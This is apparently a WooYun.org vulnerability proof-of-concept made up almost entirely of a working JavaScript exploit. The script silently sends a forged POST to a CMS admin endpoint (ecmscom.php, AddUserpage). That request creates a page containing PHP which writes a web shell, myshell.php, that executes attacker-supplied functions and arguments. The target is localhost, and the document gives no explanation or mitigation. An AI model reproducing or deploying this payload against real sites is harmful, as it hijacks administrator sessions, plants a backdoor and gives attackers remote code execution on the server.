WooYun.org

<Script>
//type of form: multipart/form-data
function ajax(){
	var request = false;
	if(window.XMLHttpRequest) {
		request = new XMLHttpRequest();
	} else if(window.ActiveXObject) {
		var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
		for(var i=0; i<versions.length; i++) {
			try {
				request = new ActiveXObject(versions[i]);
			} catch(e) {}
		}
	}
	return request;
}
var _x = ajax();
post();
function post() {
	src="http://127.0.0.1/e/admin/ecmscom.php";
	argv_0="enews=AddUserpage&id=&oldpath=page.html&cid=&gid=1&pagemod=1&title=aaa&path=page.html&classid=0&pagetitle=&pagekeywords=&pagedescription=&pagetext=%3C%3Fphp+file_put_contents%28%27myshell.php%27%2C%27%3C%3Fphp+%24_GET%5Bc%5D%28%24_POST%5Bx%5D%29%3B%3F%3E%27%29%3B%3F%3E&Submit=%E6%8F%90%E4%BA%A4";
	xhr_act("POST",src,argv_0);
}
function xhr_act(_m,_s,_a){
	_x.open(_m,_s,false);
	if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	_x.send(_a);
	return _x.responseText;
}
</script>
Test!